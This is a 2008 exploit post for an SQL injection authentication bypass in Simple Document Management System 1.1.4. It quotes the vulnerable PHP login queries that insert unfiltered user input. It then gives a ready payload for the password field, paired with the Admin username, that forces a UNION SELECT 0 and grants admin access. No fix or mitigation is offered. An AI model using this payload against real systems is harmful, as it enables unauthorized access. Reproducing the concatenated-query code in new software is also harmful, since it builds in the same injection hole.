Simple Document Management System 1.1.4 SQL Injection Auth Bypass

2008-11-04 23:01:05

SDMS Simple Document Management System v1.1.4 SQL Injection
___________________________________________________________________________

Author: Yuri


Program: SDMS Simple Document Management System
Version: v1.1.4 (and probably all older versions as well)
Website: http://sdms.cafuego.net/


How it works
___________________________________________________________________________
The login system is very insecure, this is the code we are going to abuse:

$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

$row = @mysql_fetch_array($result);

if( $row[0] != 0 ) {

header("Location: index.php");

exit;

}

$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
$row = @mysql_fetch_array($result);

$id = $row[id];

$name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter
user: Admin (case insensitive)
password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

___________________________________________________________________________

Yuri // 04 - 11 - 2008

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.